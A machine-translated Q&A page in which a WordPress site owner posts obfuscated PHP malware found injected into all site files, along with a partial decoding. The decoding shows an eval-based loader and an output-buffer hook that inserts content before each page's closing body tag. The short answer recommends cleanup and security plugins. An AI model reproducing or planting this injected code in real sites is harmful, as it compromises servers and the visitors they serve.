我发现我的 WordPress 的所有 php 文件都在文件前面注入(inject)了一些代码片段。
<?php
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$iizkegwpep = explode(chr((159-115)),'1520,70,4940,45,3179,25,3857,40,4841,38,5381,48,8214,69,10075,31,7231,69,5872,44,3141,38,4381,51,4674,33,8438,39,3937,61,3204,25,4579,41,5676,38,1174,44,8968,49,8136,37,2916,51,4879,61,6505,22,1866,44,4432,50,9786,34,8859,70,7771,21,825,67,5429,44,2526,68,0,29,3033,38,4815,26,5046,20,8357,29,5636,40,926,56,1421,59,2219,40,5916,45,6103,41,6903,42,171,47,4482,37,9820,51,7715,56,2323,34,9299,27,5333,48,9326,29,676,63,7381,63,1480,40,248,21,7202,29,8527,43,7816,63,269,33,6780,20,2768,68,1804,40,7598,24,9871,52,5580,34,8637,38,5194,35,9355,65,4121,51,2403,39,557,68,6945,53,5015,31,6412,23,7056,24,8173,41,892,34,1261,33,8068,68,3071,70,4620,54,1116,58,2090,49,6034,69,9420,43,9463,69,5831,41,1612,68,6729,43,6247,32,9532,55,5988,46,1743,24,9723,63,789,36,6998,28,3758,49,3998,60,9017,67,6853,50,9923,68,7300,45,5174,20,3596,48,1680,38,9144,20,2043,26,6664,35,2069,21,3452,24,8736,29,7622,56,2021,22,5805,26,126,45,2483,43,7139,24,6475,30,2357,46,8675,61,7879,69,7345,36,1767,37,8570,26,3404,48,5473,47,6570,35,3711,47,9229,70,3476,27,4786,29,1048,68,5779,26,8018,50,6800,53,2442,41,8283,32,495,34,1329,31,93,33,8929,39,4519,60,2866,50,1718,25,3807,50,3229,20,4344,37,302,69,8596,41,1910,63,625,51,3503,53,5229,51,2704,38,2259,64,8798,61,4228,59,6605,59,6216,31,5520,60,6435,40,1590,22,371,56,9164,65,529,28,8386,20,468,27,1294,35,218,30,1844,22,5614,22,7678,37,6144,48,4287,57,5280,53,6699,30,9084,37,7543,55,4707,36,7444,25,2967,66,7469,39,2139,29,2199,20,982,66,7508,35,9587,68,7792,24,1218,43,3556,40,9655,68,2836,30,6279,63,4058,63,427,41,5714,65,6527,43,1360,61,29,64,9121,23,7080,59,5066,64,8406,32,8477,50,4172,56,2168,31,4985,30,9991,34,2594,70,6342,70,7163,39,2742,26,4743,43,8765,33,739,50,2664,40,3644,67,3338,66,10025,50,7026,30,6192,24,8315,42,3305,33,5961,27,5130,44,7948,70,1973,48,3249,56,3897,40,6772,8');
$emohrydhhi=substr($ipdcnbaium,(43064-32958),(46-39));
if (!function_exists('efccfhrtgn')) {
function efccfhrtgn($lvbeusmjag, $likewwohuf) {
$bofyjhslnr = NULL;
for($wymmotluwp=0;$wymmotluwp<(sizeof($lvbeusmjag)/2);$wymmotluwp++) {
$bofyjhslnr .= substr($likewwohuf, $lvbeusmjag[($wymmotluwp*2)],$lvbeusmjag[($wymmotluwp*2)+1]);
} return $bofyjhslnr;
};
}
$anjiklzunk="\x20\57\x2a\40\x67\166\x66\162\x70\151\x78\145\x74\152\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\61\x31\55\x37\64\x29\51\x2c\40\x63\150\x72\50\x28\62\x38\70\x2d\61\x39\66\x29\51\x2c\40\x65\146\x63\143\x66\150\x72\164\x67\156\x28\44\x69\151\x7a\153\x65\147\x77\160\x65\160\x2c\44\x69\160\x64\143\x6e\142\x61\151\x75\155\x29\51\x29\73\x20\57\x2a\40\x78\147\x76\157\x66\163\x6b\147\x6f\146\x20\52\x2f\40";
$xmtobffgzh=substr($ipdcnbaium,(35930-25817),(80-68));
$xmtobffgzh($emohrydhhi, $anjiklzunk, NULL);
$xmtobffgzh=$anjiklzunk;
$xmtobffgzh=(818-697);
$ipdcnbaium=$xmtobffgzh-1; ?>
看起来像是一些加密的 php 代码。所以我尝试解密它Here ，然后我得到了
<?php
function __lambda_func()
{
};
if (!function_exists("pa22")) {
function pa22($v)
{
Header("Content-Encoding: none");
$p = "\x70\162\x65\147\x5f";
$p1 = $p . "\155\x61\164\x63\150";
$p2 = $p . "\162\x65\160\x6c\141\x63\145";
$t = dcoo($v);
if ($p1("/\<\/body/si", $t)) {
return $p2("/(\<\/body[^\>]*\>)/si", day212() . "\n" . "$" . "1", $t, 1);
}
else {
if ($p1("/\<\/html/si", $t)) {
return $p2("/(\<\/html[^\>]*\>)/si", day212() . "\n" . "$" . "1", $t, 1);
}
else {
return $t;
}
}
}
}
ob_start("pa22"); //}
几个月前我重新安装了我的 WordPress。但现在又来了。我的wordpress是最新版本(3.9.1)。
我的问题是
这些代码片段是如何注入(inject)到 php 文件中的？
这些片段会做什么？
最佳答案
这似乎是第三方禁令。此类攻击在 WordPress 中很常见。清理注入(inject)代码后请采取一些安全措施。禁用编辑权限并使用一些安全插件，例如 file file-monitor-plus 和 wordfence
关于php - wordpress 被注入(inject)一些代码片段，我们在Stack Overflow上找到一个类似的问题： https://stackoverflow.com/questions/25074494/